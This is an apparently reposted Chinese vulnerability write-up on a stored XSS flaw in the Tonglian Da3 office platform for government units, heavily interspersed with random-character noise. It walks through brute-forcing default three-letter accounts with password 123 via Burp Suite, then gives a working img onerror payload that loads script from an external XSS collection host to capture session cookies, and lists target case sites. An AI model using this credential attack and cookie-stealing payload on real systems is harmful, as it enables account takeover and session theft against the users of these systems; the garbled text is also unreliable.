同联Da3协同办公平台后台通用储存型xss漏洞

admin

- f: W2 K. B) O4 O9 t6 k) e ]. W4 f 0 u' O1 ?' S1 i4 z7 [# q , G5 o! ]6 q6 d$ n W 6 _5 @- B# g" G4 g3 W, a A9 q/ q , q3 n7 v+ l. A

x2 J3 O/ g$ X# |) w

同联Da3协同办公平台后台通用储存型xss漏洞

5 O9 [& I+ D+ `

平台简介： 3 o- c5 ^+ D4 N. K( V' A

$ ?3 ~' [7 K* s; Q [

/ A8 u$ ^2 `: f8 A$ C# Y  

; D1 _0 L5 X' J- j% ^& \ 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
" v( Y0 f/ e2 B& _9 `* H同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

  - l' F3 V! t0 w8 I. H/ C

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

  $ O; W8 s& w% h4 v9 z0 `. d; F1 g

1 `' i+ e. B2 r5 G: W# A

http://1.1.1.1:7197/cap-aco/#（案例2-） 7 M! c8 t! _' r# X4 V

http://www.XXOO.com （案例1-官网网站） b& P9 e. P4 N- y E& O

5 ~" k6 o0 D8 z, n& T" E 漏洞详情:

V5 U9 v+ m, v

 案例一、 0 b! K" W: X1 N `* C& l

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： % p: W$ Z3 `; @# i6 ?7 g* ?" P

- [ w( k& u: x4 @   2 m1 A* g/ @: V4 F% f) O5 T" j

C1 J$ @ s" k @5 i# M0 z

& i7 Q# D7 ?& ~0 { status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

  ) S! V0 F' S/ d& n T* {8 u4 N

1 w9 Z6 }9 L) l 4 `" O% V2 m* m0 V7 a* v+ c0 V

2 A( e: D+ t+ a6 P

3 A9 _& W8 v! u 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

! x0 G' z' J# @ u0 B' H

$ ^7 c: J& z. ^# e! P. X, X, L/ B  

. m% r6 T7 }- ^3 Z& a3 I5 [ <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： 4 v6 f6 U' {. l& ]

) ?- \5 j: Q+ F! }

. a6 z7 H; C, M / S9 g9 X6 [# T+ \" V% `5 H

然后发送，接收cookie如图： , `$ z( U* U' j2 J2 |: I, q

+ O" S) _: d a; D& Z

  % Z5 P" c& j1 ^2 T' a' ]

7 g* [" N0 `+ ^0 i- o

  : K% r3 Q- s9 \, Y% P" y

+ ?3 G' Q. X. v

  * P7 N% H# o4 }! K0 o1 z

$ n a O( i7 R" \4 X

8 q+ |0 a- Z, I# w8 V5 I  

" Z4 C! Y$ c+ {3 F' E1 O( @ - m% [0 q7 y5 ]8 i

 

3 M$ F# s& `5 ]( c8 ? p. k 案例2、 1 P. I5 c* y. N' o

" p9 E) ~) G& W8 l 前面步骤都一样，下面看效果图：

" Q' D9 S% I( o

$ P7 _6 U- ~" d% g7 ]# X  

+ l' ~+ W9 r* r8 b& c

  u: J: ?7 X& j0 p" C! \1 X& `- g

]0 ^. k, t8 Z- X9 ^

5 b) ]9 h5 O$ J: m2 \# \/ ?' B% V; j

  & }: K b$ Z# l

# X6 L2 l e9 S: w

  " ?3 o+ z- X& a, i

$ ?1 h( v: ?3 a# \8 {

: o) w# n- m/ T  

+ W' V% O+ j% m) c4 K% w9 h   & h* z' q; z( u* l

/ ^! T& Z4 S0 }- L) A2 k6 @